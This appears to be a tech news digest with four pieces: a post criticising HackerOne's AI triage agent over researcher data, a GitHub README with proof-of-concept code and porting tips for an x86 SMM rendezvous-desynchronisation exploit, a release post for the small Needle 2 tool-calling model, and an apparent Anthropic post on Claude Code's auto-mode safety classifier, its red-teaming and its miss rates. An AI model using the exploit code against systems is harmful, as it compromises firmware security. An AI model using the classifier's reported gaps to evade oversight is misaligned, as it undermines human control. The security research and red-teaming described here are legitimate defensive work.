Well, when I asked this, I received an incredible copy-paste response of what Alex Rice had said back in February:

Hai does not train, fine-tune, or otherwise improve GenAI or large language models on customer or researcher data: https://docs.hackerone.com/en/articles/10908081-hai-security-trust

They then followed up with an explanation that appeared to contradict this:

Storing learnings in our DB is something different than training/fine-tuning a model on how to behave. We store the rejection reasons in our DB to cross reference and augment the reasoning the agent does when determining next steps. […] The agent will pick this up from behaviour the customer has done on past reports and use that to memorize and augment the reasoning for new reports.

So yes, HackerOne is not building model weights from your report data or “training” on it in the traditional sense.

But that is a distinction without any meaningful difference to the researchers whose data is being used. The system is still learning from report data in the practical sense that matters: past reports change future automated behavior.

Call it memory, retrieval, contextual learning, or whatever you want. For the purpose of deciding whether researcher data is being used to improve the system, the distinction is functionally equivalent.

And as a cherry on top, a few days later, HackerOne published a blog post stating:

As AI-assisted submissions have grown, we’ve invested heavily in AI-powered triage and validation on our own platform. Our agentic AI system, Hai, now handles initial classification, deduplication, and validation of incoming reports, working alongside our human security analysts.

The Boiling Point

By this point, I had lost all faith in HackerOne. I’d been around for so many years and through so many seasons that there was really no point in leaving anything off the table.

So I posted a long message in the HSP chat, echoing many of the things I’ve said in this blog.

What happened as a result was actually really surprising: many other top hackers in the HSP agreed, echoed the same concerns, and called for change.

I figured, surely HackerOne will have to respond to this.

And they did.

Co-founder Michiel Prins was allowed to leave the HackerOne dungeon to perform damage control with this absolute banger of an AI slop response:

You’re right to call this out. Parts of the platform and overall experience have not moved fast enough, and that’s frustrating.

We have been prioritizing work that improves outcomes for both customers and researchers. Triage is a clear example. Speed and consistency there have improved materially, and that matters for everyone on the platform. Report Assistant may not be targeted at the caliber hacker in this channel, but it has been a significant enhancement for the largest part of the community - hackers earlier in their career - and this has led to much clearer reports for triage to analyze and accelerate overall throughput.

At the same time, there is a bigger shift happening with AI. There is a lot of noise about AI replacing security researchers. We do not believe that. We are investing to make sure researchers become more important, not less. A lot of that work is happening on the customer side of the marketplace.

That said, the gap you are pointing to on day-to-day usability and acting on feedback is real. We need to do a better job there, and we need to show that progress more clearly.

And then, per the playbook, they waited for the community to move on, brushed it under the rug, and nothing changed.

We Must Calm the Masses

Well that was true until June, when rez0 (co-host of the Critical Thinking Bug Bounty Podcast) asked about the new “HackerOne Continuous Testing” product that had just launched:

hackerone is using your report data

The page (before it was updated) very clearly stated:

Testing is sharpened using context from HackerOne’s 12+ years of real-world vulnerability data and your prior H1 Bounty findings, so agents know where to focus

HackerOne immediately tried to run this back and claim that this was actually not true. I find it hard to understand how a company can be so incredibly disconnected from its own values, but only when it’s brought up by hackers who look closely and ask questions.

All the behavior over the last few months embodies “oops we didn’t mean to say the quiet part out loud”, and certainly not “we don’t do that”.

And honestly at this point if you have to do this much damage control, you might as well just own it.

I won’t even begin to break these statements down because there’s so much word soup that it’s mind-numbing.

As I write this post, I am exhausted from trying to perform the mental gymnastics required to believe all this.

Actions speak louder than words, and it’s pretty clear at this point what’s going on.

Feel free to skip ahead, but in an effort to be fair I’ll provide the replies from not one but two HackerOne co-founders (wow a double dungeon release):

No change in direction. There is zero training on researcher data.

This language isn’t even talking about vulnerability discovery. What happens when you point a “recon agent” at an attack surface?

Noise.

That’s the context being talked about here – Scope. Out of scope. Informative. Ineligible findings. This same contextual feedback loop is available to researchers (and, increasingly, their agents) through our intake agents & full triage process.

We continue to need to do much better on accompanying simplified marketing language with technical architecture documentation, and we need to do a better job at reinforcing the defense in depth narrative – there are no silver bullets here. Nowhere in our vision is a 100% AI human-free future.

- Alex Rice

and

Sorry for the confusion this paragraph has caused. It was meant to capture how our recon agents find out where to focus and where not to focus based on prior results in a customer’s program (mapping the attack surface), not find new vulnerabilities based on researcher submissions. We have adjusted the paragraph in the H1 Continuous Testing page and buttoned up our documentation. H1 Continuous Testing is based on the same approach and methodologies as the H1 Agentic Pentest offering announced in January. Here is the documentation on how those agentic products reason & use context for security testing workflows.

But let’s focus on the underlying concern: is H1 using researcher submissions to then deploy agents and find that vulnerability using their techniques in other customers? No.

That is a model that can be a win-win-win for everyone in the long run, but we don’t yet have the foundations in place to provide proper recognition and rewards for researchers in such a model. We’re envisioning a platform where researchers drive the frontier, agents provide the scale, and researchers get proper recognition for their impact. Imagine this: you discover a novel technique to find a vulnerability. We operationalize it across every customer’s attack surface that shows signs of exposure. Customers get protected. You get compensated not just for one report, but proportionally to the impact you generate across the platform. That is fundamentally a better deal for researchers than the current one-bounty-per-report model. And it is also a win for customers as it narrows the exposure window.

But the reality is that it’s just a vision right now. We are not there yet. This requires careful work across product, policy and researcher engagement models to build it right. Right now, we are still focused on building foundational agentic capabilities for testing, accelerating validation and triage, prioritization, and remediation. These have to work reliably first before we can layer on a researcher-driven attack library and incentive model that does justice to the contribution. We also owe it to customers not to just dump findings on them without the tooling to act on them.

The long term is about partnership, not replacement. We want to build incentive structures that support this vision. It’s unexplored territory, and we want to get it right with you.

- Michiel Prins

along with a HackerOne official™ tweet to calm the masses:

we swear we aren’t using your report data

Conclusion

Today as I look at HackerOne, it’s hard to even recognize the company that was started back in 2012. The values have shifted, the soul has been gutted, and the core identity has been lost. A sad ending for our hero’s journey.

So, where do we go from here?

Well, I have some final thoughts for each party involved in this twisting tale.

To HackerOne: It was nice knowing you. All I can hope is that you can find your true identity again one day. Although I doubt that will ever happen.

To the founders: I hope you got paid well, that you can exit, and that you go do something cool again.

To the hackers: Know your worth. Bug bounty platforms cannot exist without hackers.

To the companies: You don’t need HackerOne anymore. The tokens to build your own in-house platform cost less than single year of HackerOne.

And to whoever is fired up: The market is ready for a disruption. The tools are in your hands. Build what HackerOne could have been.

Godspeed and thanks for reading if you made it this far.

The Daily Front Page 6 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Firmware at the Breaking Point
repository

Exploiting System Management Mode with a very long interrupt

by WhiteDawn·▲ 155 points·58 comments·github.com ↗
★ 212⑂ 7 forks C

A very very very very very very very long interrupt

Exploiting System Management Mode with a very very very very very very very long interrupt.

Overview

It turns out that you can break SMM — the secure, ultra privileged execution environment running invisibly in the background of every x86 CPU — with nothing more than an obscenely long-running machine instruction.

SMM requires that all cores are either in SMM or out of SMM at the same time. Its security model doesn't work without this - when one thread enters SMM, it makes all the others enter too.

To break this, all we need is someone too busy to notice they're supposed to join SMM.

It works something like this:

At this point, core 1 is out of SMM while core 0 is in, letting core 1 attack core 0. Here's the catch: for this to work we need a very, very, verrrrry long instruction — longer than any instruction was ever supposed to take. Most machine instructions on a modern CPU are fast: add takes 1 cycle. To get core 1 to give up waiting on core 0, we need an instruction on core 0 that takes around 4,000,000,000 cycles — over 1 second of wall-clock time.

The One-Second Timeout

x86 firmware runs the following code when a CPU core enters SMM:

  for (Timer = StartSyncTimer ();
       !IsSyncTimerTimeout (Timer, mTimeoutTicker) && SyncNeeded;
       )
  {
    mSmmMpSyncData->AllApArrivedWithException = AllCpusInSmmExceptBlockedDisabled ();
    if (mSmmMpSyncData->AllApArrivedWithException) {
      break;
    }

    CpuPause ();
  }

The code waits for all cores to enter SMM, or for up to 1 second, whichever occurs first. To get a core to execute SMM code while another core stays executing outside SMM, we need that outside core to stay uninterruptible for the entire second — an SMI is taken at an instruction boundary, so any gap between two instructions lets the pending SMI pull the core into SMM. The delay therefore has to be a single instruction: one uninterruptible op that outlasts the one-second rendezvous.

Proof-of-Concept

There are many ways to reach the forbidden 1-second instruction, and the exact approach will vary platform-to-platform. But, roughly: find a high-latency MMIO address, and then convince the CPU to read from it as slowly as possible — abuse an undocumented region that answers reads at a crawl, use the widest load the ISA will give you to move as many bytes as possible across it in a single instruction, and let the other cores contend for the same bus to slow it further. One read, one instruction, and the CPU is stuck holding it for the better part of a second.

The provided proof-of-concept is tuned for a Zen 3 Ryzen 7 5800H, where a wide xmm load from slow MMIO at 0xfcc68860 stalls long enough to break the all-cores rendezvous:

mov     $0xfcc68860, %rsi   ; the target MMIO address
vmovdqu (%rsi), %xmm0       ; the very, very long load

The PoC exploits this by pitting two cores against each other. One core is held outside SMM by the long instruction — a tight loop on the very slow load:

/* the victim core: spin on the ~1-second load, too busy to answer the SMI */
for (;;)
    asm volatile ("vmovdqu (%0), %%xmm0" :: "r"(mmio) : "xmm0");

Meanwhile another core arms the per-core SMI counters:

#define MSR_PERF_CTL0  0xc0010200        /* AMD core perf event-select MSR */
#define MSR_PERF_CTR0  0xc0010201        /* the paired 48-bit counter      */

for (int cpu = 0; cpu < ACTIVE_CPUS; cpu++) {
    msr_write(cpu, MSR_PERF_CTL0, 0x43002b);  /* EN | OS | USR | event 0x2b */
    msr_write(cpu, MSR_PERF_CTR0, 0);         /* zero the count            */
}

Then fires a storm of SMIs:

asm volatile ("outb %%al, $0xb2" :: "a"(0));  /* kick port 0xb2 -> #SMI    */

And reads every core's tally back:

/* ...fire the storm, then read every core's tally back... */
uint64_t delta = smi_max - smi_min;
if (delta)
    puts("!!! a core ran outside SMM");

If the counts diverge, it means a core kept running outside SMM while the others were pulled in — it missed the SMIs the rest of them serviced.

To better illustrate this, we can run the proof-of-concept behind a needlessly flashy and entirely pointless GUI, tracking SMI counters on each core, to watch them execute in perfect lockstep until a wildly delayed core breaks their required synchronization:

SMI counter divergence in action

SMM's one guarantee — that nothing else runs while it does — falls apart under a single absurdly long instruction.

Exploitation

SMM's security relies on a simple assumption: while it runs, nothing else does.

There are 100+ SMM TOCTOU CVEs out there: an SMM handler checks a value in shared memory, then uses it. All you need for exploitation is to rewrite that value in between the check and use, and you're inside SMM. But these issues sit dormant and largely unpatched in the wild, because of one assumption: exploitation requires something to modify the shared memory while SMM executes, and because of the SMM rendezvous no CPU cores are outside SMM to launch an attack. The only way in was a DMA-capable peripheral writing behind the CPU's back — physical access, a malicious device — so the whole class is written off as a hardware problem.

SMI desynchronization removes the prerequisite that kept the platform safe: an outside core, no physical access or hardware required, can now run while SMM executes — and the dormant CVEs become exploitable from software.

Mitigations

There probably aren't any, which is what makes this one somewhat more interesting than traditional SMM issues. Keep the timeout, and the rendezvous is easily broken. Remove the timeout, and a legitimately stuck core hangs the platform on the first SMI. Increase the timeout, and you kill performance on many-core platforms that are forced to quiesce all cores every SMM entry. It's not clear what the best path forward is, or if there is even a path forward at all.

Until then, the recommended workaround is to not execute any long instructions.

Porting to your platform

The default vmovdqu at 0xfcc68860 in the proof-of-concept is a slow spot on this box — a Zen 3 Ryzen 7 5800H — and likely nowhere else. To break the rendezvous on your box, you will need to retune the long instruction so the stall outlasts your SMM timeout. Some tips on how to do this:

  1. Aim at your MMIO. Find a slow MMIO region on your platform with mmiotic.
  2. Widen the read. Step -r xmm → ymm → zmm until the stall crosses the rendezvous timeout.
  3. Swap the instruction. If no single MMIO read is slow enough, you need a different pathologically long instruction; the asm-hall-of-shame shows how to find them.

Building

make          # builds smiiiiiiiiiiiiiiii

Usage

The defaults are tuned to one machine. On anything but a Zen 3 Ryzen 7 5800H, expect no divergence until you retune the long instruction — see Porting to your platform.

Run the tool to repeatedly fire the very-very-long instruction while watching each core's SMI counter for a divergence:

sudo ./smiiiiiiiiiiiiiiii          # default: -r xmm at 0xfcc68860

Flags:

Flag Default Description
-r xmm|ymm|zmm xmm Vector register width for the timed MMIO read (16/32/64 bytes). If no SMI count delta is observed, the tool advises stepping up to the next size.
-a <phys-addr> 0xfcc68860 Target physical address for the MMIO timing loop (hex 0x... or decimal).
-h, --help Print usage and exit.
The Daily Front Page 7 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — The Tiny Agent
show hn

Show HN: Needle2: 14MB agentic LLM for phones, wearables, smart home and robots

by HenryNdubuaku·▲ 301 points·109 comments·cactuscompute.com ↗
The whole model is a single 14MB binary that runs a full session in 28MB of RAM.

An open 14MB model for tool calling, device use, and structured extraction.

Today we release Needle 2: an open 45M-parameter model for tool calling, device use and structured extraction. The whole model is a single 14MB binary that runs a full session in 28MB of RAM. It is built on our Simple Attention Network findings, compressed to CQ2-bit with Cactus Quants, and baked into its own engine.

On the tool call and mobile device use benchmarks, Needle 2 trades wins with other small models like FunctionGemma 270M, LFM2.5 230M and Apple FM, at 5× to 70× smaller, and 2 bits against their f16. Needle hits 500 tokens/sec decode speed on a Raspberry Pi 5, between 400–1,500 tokens/sec on VR devices like Meta Quest 3S and Apple Vision Pro, and ranges 300–700 on sub-$200 phones such as the Samsung A-Series. With a peak session RAM around 28MB, Needle runs on newer microcontrollers like ESP32-S3.

The Playground lets you test Needle for wearables, robots, smart homes, phones, and automotive. Needle is licensed under Apache 2.0, with weights on Hugging Face; the repo gets you running.

45M Params
800+ tok/s Pi5 prefill
500+ tok/s Pi5 decode
CQ2-bit Compression
14 MB File size
28 MB Session RAM

Size–quality frontier: mobile-class and below

Figure 1. Ordered strict exact match on Mobile-Actions (google/mobile-actions eval split, 961 rows) against total parameters, over the smallest models designed for smart devices, mobile and below. Needle 2 is measured end-to-end through the shipped binary at CQ2-bit deployment precision with tool retrieval on; baselines run the released checkpoints under vLLM, and Apple FM runs on-device.

Our Bet

Bringing On-Device AI to <$200 Devices: Edge AI has lately meant Macs and PCs, but the edge is mostly cheap hardware: over 21 billion connected IoT devices against roughly 1.5 billion PCs, and in emerging markets most phones ship under $200. Count budget phones, Raspberry Pis, microcontrollers, wearables, small robots like Reachy Mini, and connected home devices, and roughly four in five edge devices cost under $200. That is the hardware Needle targets: no GPU, no NPU, a few hundred MB of RAM.

Function Call & Device Use: Turning on a light does not need a frontier model. A watch, a home, a robot: each already exposes its abilities as functions with typed parameters, so the only hard part is mapping a messy sentence onto them: which function, with which values. Framed that way, the problem needs no world knowledge and no open-ended prose, which is why 45M parameters suffice where chat needs billions. That smaller formulation is the bet everything else follows from.

Extraction & Structured Outputs: The schema is the interface, and the same formulation covers documents: a schema plus a paragraph returns typed fields, an enum field is a classifier, an array field collects a list in one call. We enforce this with a contract, not a convention: every turn is answered with a call envelope, the empty call is the refusal, and a byte-level grammar compiled from the declared schemas constrains every token. The grammar carries the syntax, so all 45M parameters go to choosing functions and grounding arguments in the user's words.

Edge-Cloud Collaboration: No small model covers everything, so Needle says so instead of guessing: every response carries a learned confidence score, and off-topic requests return the empty call. Above your threshold, act; below it, re-ask or escalate to the cloud. Most device requests are routine control, so escalation stays rare and the default path stays private, instant, and free.

Lossless 2bit Quantization: Small models break under post-hoc quantization, so we never quantize post-hoc: Needle 2 trains against Cactus Quants from pretrain through post-train, weights, activations, and KV cache alike. The 2bit model you deploy is the model that was trained. That is what fits 45M parameters into 14MB with nothing lost on our battery.

Co-designed Model & Inference: Every architectural choice was benchmarked on the target hardware before it earned its parameters, and the deliverable is the pair, not the weights: a single dependency-free C++ binary that probes the CPU at startup and picks its kernels, with the model, tokenizer, and grammar compiler sealed inside. One artifact runs from Cortex-M to x86 to WebAssembly. There is nothing to install and nothing to download.

Fine-tune on your Mac/PC: Every product has its own tool vocabulary, and a 45M model is small enough to retrain where it runs: the repo and python package tune and test on your own computer in minutes to a few hours. Ship a Needle that speaks your device's tools, not a generic assistant.

Production

Needle is production-ready for products that require a minimal RAM footprint, low latency, privacy, and offline reliability. Pebble - the pioneer of the modern wearable industry - runs it locally in the Index 01 app to turn spoken requests into actions without depending on a network connection.

The Pebble Index Ring has no screen. So when you speak to it, the action just has to happen, every time, with or without internet connection. We run Cactus Needle locally in the app, instead of relying on the cloud. The model's footprint is tiny and the performance never lets us down.

Eric Migicovsky

Founder, Pebble

Architecture

The Simple Attention Network

Architecture diagram of the Simple Attention Network

Figure 2. The Simple Attention Network. Each block carries its update rule. Here x̂ is the RMS-normalised flattening of the four residual streams, H the orthonormal Walsh-Hadamard transform—a fixed matrix, applied in n log n time with no weights to read—(kᵢ, vᵢ) rows gathered from hashed n-gram tables, and P the doubly-stochastic normalisation of the routing logits A, computed by Sinkhorn iteration; a, b, g and all σ-gates are learned and input-dependent. Both attention and MLP residuals are sandwich-normed and gated, the engram sites fire at two layers, and decoding is constrained by a byte-level grammar compiled from the declared schemas.

Needle 2 is pretrained on a proprietary 115B-token corpus and post-trained on 38B tokens with compact reasoning traces and careful dataset distribution design. For scale: LFM2.5-230M was pretrained on 19 trillion tokens, roughly 120× Needle's total, and the evaluation below shows the two trading wins. Each component exists to buy capability without buying bandwidth. The Hadamard MLP replaces the usual dense up-and-down projections with a fixed Walsh transform and learned diagonals, so the channel mixing that dominates a small model's weight reads costs almost no parameters at all. The engram moves world knowledge out of the stack into hashed n-gram tables that are read a few rows per token: capacity that is nearly free at decode time, which matters on devices where every megabyte read from flash is latency and battery. The multi-lane residual streams give a 27-layer, 512-wide network the routing flexibility of a much wider one, at the cost of a few dot products per layer rather than more attention or MLP volume.

The memory system is designed backwards from fixed-RAM devices. Attention uses a 256-token sliding window so the KV cache is bounded no matter how long a session runs, and the system prompt and tool declarations are pinned as permanent sinks so the one thing a tool-calling model must never forget—its tools—is structurally unable to be evicted. The cache itself is trained with QAT, and weights are stored in Cactus Quants at a mixed bits per weight averaging 2bit. The result is that quality decisions and deployment decisions stay decoupled: one trained model, specialized to whatever precision and window a target device can afford.

The engine earns its speed from what it refuses to compute. Weights never decompress into RAM: the 2-bit codes are expanded inside vector registers, fused into integer dot products, so resident memory stays at blob size and the arithmetic path is int8 end to end—activations, KV cache, and the lane routing tables alike. The grammar is an optimization, not just a guarantee: because the matcher knows which tokens are legal before the logits exist, the engine computes output scores only for candidate rows, skipping up to 98% of the vocabulary projection on structural tokens, and skips it entirely on steps whose output is already forced. One universal binary probes the CPU at startup and self-selects its kernel tier—SDOT, NEON, AVX2, RISC-V vectors, wasm SIMD, or scalar—and the thread pool spins through the short serial sections of a token instead of sleeping, which alone nearly doubled decode. None of this changes a single output: every trick is either exact or validated token-for-token against the reference path.

All of it is ultimately an energy argument. On device silicon, moving a byte out of flash or DRAM costs orders of magnitude more than a multiply-accumulate, so the budget that matters is FLOPs per token and bytes per token together. The architecture cuts the first: a conventional transformer of Needle's width and depth spends 164 MFLOPs per token, and even one squeezed down to Needle's parameter count spends 87, because every parameter it owns must be exercised through a matmul. Needle spends 70, and keeps a fifth of its parameters as gathered memory that costs no arithmetic at all. The binary cuts the second, as the engine section showed: nothing rematerializes, the arithmetic stays int8 end to end, and the grammar prunes compute outright, so decoding a token reads at most the 14MB blob once, and on structural tokens meaningfully less. This is what battery life is made of. Even on a high-end phone, an always-on assistant lives inside a power budget; every MFLOP is milliwatt-hours, and Needle spends 7× to 85× fewer of them per token than the models it is benchmarked against.

Compute per token

Model Params Matmul-active MFLOPs / token
Needle 245M 35M 70
Same-shape transformer, dense MLP 82M 82M 164
Transformer at matched params 43M 43M 87
LFM2.5 230M 230M 460
FunctionGemma 270M 270M 540
Apple FM ~3B ~3B ~6,000

Counting 2 FLOPs per multiply-accumulate over matmul-active parameters, with embeddings tied in all rows; attention terms are equal across rows at matched context and excluded. The gap between Needle's two columns is the engram: 8M parameters read by gather, costing no arithmetic. Baseline rows count every parameter as matmul-active, which is exact for both: LFM2.5's eight short-conv blocks hold their parameters in dense gate and projection matmuls that run every token—the depthwise conv kernels themselves are negligible—and what short convolutions save is the context-dependent attention term, already excluded for every row. Tied embeddings count once as the output head. FunctionGemma's 540 is dominated by that head: 170M of its 270M parameters are a 262k-token embedding table.

Bounded session memory is what puts microcontrollers in reach. Because the sliding window caps state, Needle 2's RAM is a deterministic 28MB ceiling, not a curve that grows with conversation length. That fits MCU-class parts with external RAM, such as ESP32-P4 with 32MB of PSRAM, or STM32H7 and NXP i.MX RT boards with SDRAM. The engine compiles single-threaded for bare metal and ships as a static library for Cortex-M4, M7, and M55.

Evaluation

We evaluate on five public function-calling benchmarks: Google's Mobile Actions, DroidCall, the Seal-Tools in-domain and out-of-domain tests, and BFCL v4 single-turn. Scoring is ordered strict exact match: a row passes only if the function names, the call order, and every argument value match. All Needle 2 numbers are measured end-to-end through the shipped C++ engine in its production configuration: CQ2-bit weights, tool retrieval on, and the 256-token sliding KV window. Nothing is relaxed for benchmarking; the numbers reflect the exact engine a device runs, window eviction included. Baselines run the released checkpoints under vLLM at full context, and Apple FM runs on-device.

Two asymmetries make this comparison hard, and we state both upfront. Precision: the baselines stay at f16 deliberately, because conventional post-training quantization to 2 bits collapses models that were never trained for aggressive compression, while Cactus Quants is baked into Needle's training from the ground up. That skew favors the baselines. Scope: Needle is trained specifically for agentic tool calling and nothing else, while every baseline is a general language model carrying chat, prose, and world knowledge alongside its tool calling. That skew favors Needle. There is no clean way to level both at once, so we do not try. The tables answer one narrow question: which model executes tool calls correctly within an on-device budget. We accept the skew; it still paints the picture we intend.

Mobile Actions (961 rows)

Model Accuracy Name acc. Non-empty 1-call 2-call
LFM2.5 230M (f16, vLLM) 69.1 93.0 98.9 76.1 55.0
FunctionGemma 270M (f16, vLLM) 64.0 87.3 98.9 73.0 46.2
Needle 2 (CQ2-bit) 63.7 98.3 99.4 71.3 48.4
Apple FM (on-device) 57.6 94.2 95.5 64.5 43.8

Google Mobile Actions eval split, ordered strict exact match; function names, call order, and every argument must match.

DroidCall test split (200 rows)

Model Accuracy Name acc. Non-empty 1-call 2-call
FunctionGemma 270M (f16, vLLM) 17.5 37.5 59.5 22.7 0.0
Needle 2 (CQ2-bit) 17.0 36.5 47.5 22.1 0.0
LFM2.5 230M (f16, vLLM) 11.0 21.5 22.5 14.3 0.0

Android intent-style function calls, ordered strict exact match; 1-call rows n=154, 2-call rows n=24.

Seal-Tools in-domain (700 rows)

Model Accuracy 1-call 2–3-call 4+-call
Needle 2 (CQ2-bit) 32.6 64.9 63.0 21.8
LFM2.5 230M (f16, vLLM) 26.9 45.4 54.5 17.1
FunctionGemma 270M (f16, vLLM) 16.3 56.0 47.0 4.5

Large candidate tool lists with a majority of multi-call rows.

Seal-Tools out-of-domain (654 rows)

Model Accuracy 1-call 2–3-call 4+-call
Needle 2 (CQ2-bit) 28.7 58.7 56.4 27.1
LFM2.5 230M (f16, vLLM) 17.0 35.0 42.6 13.7
FunctionGemma 270M (f16, vLLM) 15.6 48.9 50.0 11.0

Entire tool domains are held out of training, testing schema generalization.

Needle was not trained for general function calling: its corpus is consumer device actions—smart home, mobile, wearables, TV, car—plus structured extraction, and BFCL's general-purpose and enterprise API surfaces, including the Java and JavaScript SDK categories, sit entirely outside that distribution. It extrapolates nonetheless: on Python simple calls it lands within a point of FunctionGemma, a model six times larger trained for exactly this task, and it keeps a 93.4 well-formed rate across all 3,641 rows. The gap concentrates where its training data has never been: Java, JavaScript, and the parallel multi-call categories.

BFCL v4 single-turn (3,641 rows)

Category Apple FM on-device LFM2.5 230M f16 · vLLM FunctionGemma 270M f16 · vLLM Needle 2 CQ2-bit
Simple 73.3 63.2 48.1 40.8
— Python 86.8 55.5 62.3 61.2
— Java 67.0 48.0 38.0 29.0
— JavaScript 66.0 56.0 44.0 32.0
Multiple 84.0 78.5 60.0 57.0
Parallel 65.0 64.0 36.5 30.0
Parallel multiple 52.0 51.5 30.5 22.5
Live simple 70.5 45.0 33.7 36.8
Live multiple 45.9 47.8 25.2 27.9
Live parallel 50.0 43.8 18.8 25.0
Live parallel multiple 58.3 45.8 25.0 29.2
Relevance 100.0 68.8 81.2 81.2
Irrelevance 28.3 77.7 72.1 60.8
Overall 61.7 60.8 46.1 42.6
Well-formed rate 95.0 94.2 100.0 93.4

Official BFCL v4 single-turn scorer. Overall is the collector's unweighted mean over all 13 raw categories; bold values mark the best result in each row.

The Daily Front Page 8 of 28
Monday, August 10, 2026 The Daily Front No. #260810 — Default Autonomy
article

Auto mode is now the default in Claude Code

by sbehere·▲ 281 points·306 comments·claude.com ↗
We’re making auto mode the default in Claude Code.

We're making auto mode the default in Claude Code. Starting on August 14, new sessions on Pro, Max, and Team plans will run in auto mode. If you've already set a different default yourself, you may get a one-time prompt asking whether you want to switch to auto mode. If you have a pinned default, nothing changes for you. The auto mode classifier uses a small number of extra tokens per tool call, and we're no longer charging Claude Code users on Pro, Max, and Team plans for that classifier overhead, effective today.

Auto mode remains opt-in for now on Claude Enterprise, the Claude API, Claude Platform on AWS, Amazon Bedrock, Google Cloud's Agent Platform, and Microsoft Foundry, giving admins time to review the change. In the coming month, working with our cloud partners, we plan to make it the default across all of these and no longer charge for classifier overhead. In the meantime, Enterprise admins can make Claude Code's auto mode the default through managed settings.

Auto mode is designed to balance users’ desire not to be interrupted with a system that helps avoid harmful actions: instead of prompts, it routes each tool call through a classifier targeted at blocking actions that are irreversible, destructive, or aimed outside your environment. When the classifier blocks something, Claude usually finds a safer way to proceed on its own or asks you directly for the go-ahead; if it can't make progress—three blocks in a row, or twenty across a session—Claude Code falls back to manual approvals.

We spent the last several months testing whether auto mode is as safe or safer than an average user clicking through prompts. We ran internal red-teaming, third-party red-teaming and prompt-injection evaluations, a controlled study with 1,053 paid testers, and analysis of real production sessions. On every measure we tested, auto mode matched or outperformed manual review.

Auto mode also lets Claude work autonomously for longer stretches. This makes models built for long-running work, like Claude Opus 5, more practical to leave running for hours on large tasks. Reducing overhead for users also increases output. Among Teams & Enterprise adopters, auto mode users ship about 25% more PRs. Unblocking Claude allows tasks to run longer uninterrupted and get more work done. Teams at Adobe, Nuro, Gusto, and Garner Health already run auto mode as their production default.

Below, we share the safety data and customer results motivating the change, and how to set a different default if you prefer.

Comparing manual review to auto mode

Data suggests that manual review can become habitual: users approve 97% of permission prompts in Claude Code. While most prompts are likely for safe, routine commands, an approval rate that high suggests many users are clicking through reflexively rather than reviewing each command. These prompts ask developers to make dozens or hundreds of important security decisions every day, often in the middle of projects, which places the review burden on users and increases the chance that something important slips through the cracks. Data also suggests that users more frequently scrutinize and push back on other types of dialogues: for example, when Claude presents a plan for approval, users reject 39% of them. But for individual permissions requests, the rejection rate is only 3%.

The same pattern shows up in settings files. As of June 2026, 49.5% of active CLI users have manually created a Bash allow-rule—5% allow any shell command outright, and another 43% have interpreter rules like Bash(python:*)or Bash(node:*) that are essentially equivalent in practice—and that share is growing roughly 5 percentage points every 5 weeks. Beyond allow-rules, 62% of users have used bypassPermissions or clicked “don't ask again” on Bash, and 25% of interactive sessions start in bypass permissions mode.

Permission rules still fire before the classifier in auto mode, except for allow rules broad enough to grant arbitrary code execution (e.g. python:*). These arbitrary rules are set aside while in auto mode, since they would let commands skip the classifier entirely. Settings files aren't modified, and the rules apply again the moment you switch to another mode.

Improving safety with auto mode

Research conducted internally and through several third parties suggests that auto mode is safer than how a typical user engages with permission prompts today. We tested auto mode against what developers actually approve when they're clicking through permission prompts. Across each of these measures—internal red-teaming, third-party penetration testing, and analysis of real-world sessions—auto mode matched or outperformed human approval.

Auto mode outperforms manual permissions on safety

In a controlled experiment with 1,053 paid professional testers, human review caught just 13.6% of dangerous commands, while auto mode caught 89%.

We hired 1,053 paid testers through a research vendor for a coding study. These participants worked in a test environment set up specifically for the study, not in their own codebases or on real projects. Participants knew they were being evaluated, but—following standard blind-study design—weren't told which behavior was being measured. Partway through each session, a single permission prompt was swapped for a clearly dangerous command, and the vendor recorded whether the tester approved it (Note: approving the prompt never resulted in anything dangerous being run; only the text of the prompt testers saw was changed).

The testers caught the dangerous command just 13.6% of the time (143 of 1,053), while auto mode blocked 89% of the same commands (937 of 1,053). Head to head, auto mode blocked 800 commands that a human approved, while humans blocked only 6 that auto mode allowed. As sessions got longer, humans did worse: they blocked about 17% of dangerous commands early in a session, dropping to about 5% after 50 or more prior prompts, while auto mode's block rate stayed flat regardless of session length.

Auto mode prevents more harmful actions

Our research also suggests that auto mode leads to fewer harmful actions than manual permissions mode.

We examined how auto mode performs in real usage. From May to June 2026, we examined sessions our safety pipeline had flagged for review, drawn only from accounts that have opted in to data use for training and analysis. We re-graded each one with a model on two 0–10 scales. The first was harm severity with 10 being company-wide, irreversible harm, such as leaking a company's entire source code, 7 representing production-level severity such as deleting rows from a production database, and 0 a fully reversible action confined to the local workspace, like overwriting a scratch file. The second was how explicitly the user had asked for the action, so we could separate harmful actions the user directly requested from harmful actions the agent took with less explicit direction.

Among the flagged sessions, those that went through manual approval contained serious unintended harm more than twice as often as auto mode sessions. At production-level severity (7+), 6.3% of manually approved sessions contained a harmful action the user hadn't explicitly asked for, compared to 2.4% of auto mode sessions, and the gap held at every severity level we tested.

Adversarial red-teaming made auto mode stronger

We worked with Apollo Research, a UK-based AI safety startup, on a two-week pilot injecting synthetic attacks into real coding trajectories, across three datasets covering broad failures, data exfiltration, and safety-related threats.

The engagement followed a standard find-fix-verify loop. Apollo shared a set of successful attacks along with recommendations to strengthen auto mode. We hardened the classifier against them primarily by giving it more context about the environment it's protecting (repository visibility, git state, and the data-handling rules described below).

After hardening, Apollo re-tested on a separate held-out attack set that we never had access to. Auto mode caught about half of the attacks it previously missed, at a cost of missing about 2% of attacks it previously caught. Since we couldn't tune against the held-out set, this suggests the hardening generalizes to new attacks rather than patching the specific ones Apollo shared. Across both the shared and held-out sets, the classifier's miss rate fell from 12% to 7%.

These attacks are synthetic and adversarial by design, built to find where the classifier fails, and more malicious than anything Claude would do unprompted. The 7% miss rate is measured against this set and should not be taken as the miss rate on real traffic.

Auto mode reduces prompt injection risk

With auto mode enabled, no attack in an independent evaluation was successful against any of our models. GPT-5.6 Sol running in Codex v0.144.5 Auto-review permission mode had a 5.83% attack success rate. GPT-5.6 Sol was run on “max” reasoning effort to test performance with its highest level of reasoning, and all Claude models were run on high effort.

The auto mode classifier adds an additional layer of defense against prompt injection attacks that try to force the agent to deviate from the user’s instructions. When running with auto mode, tool results are scanned by probes for potentially malicious instructions, and auto mode checks that actions are aligned with user intent. We tested auto mode compared to an unguarded model to illustrate the power of this defense-in-depth approach.

